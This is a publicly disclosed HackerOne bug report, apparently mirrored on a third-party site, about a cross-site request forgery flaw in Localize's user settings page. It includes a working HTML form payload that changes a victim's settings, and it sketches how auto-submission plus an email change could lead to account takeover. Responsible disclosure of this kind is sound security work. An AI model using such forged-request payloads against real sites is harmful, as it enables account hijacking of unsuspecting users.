HexBrain
Open on HackerOneSign in

Localize · Report #7870

Change user settings through CSRF

Validstatus
2upvotes
18 May 2014disclosed

How it was found

Hello,

it's trivial to change the user settings. Just use this HTML code:

<html> <head></head> <body> <form action="http://www.localize.io/pages/settings" method="post"> <input type="text" name="settings[realName]" value="otherusername"> <input type="submit" value="Submit"> </form> </body> </html>

In addition with some Javascript code that submits the form automatically, making the user visit the snipped of code above will change their user settings. If their e-mail address is altered too, and the adversary gets a verification e-mail after he changes the user's e-mail to his e-mail, it's easy to take over an account.

I also recommend enabling HTTPS and disallowing regular HTTP.

Greets

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original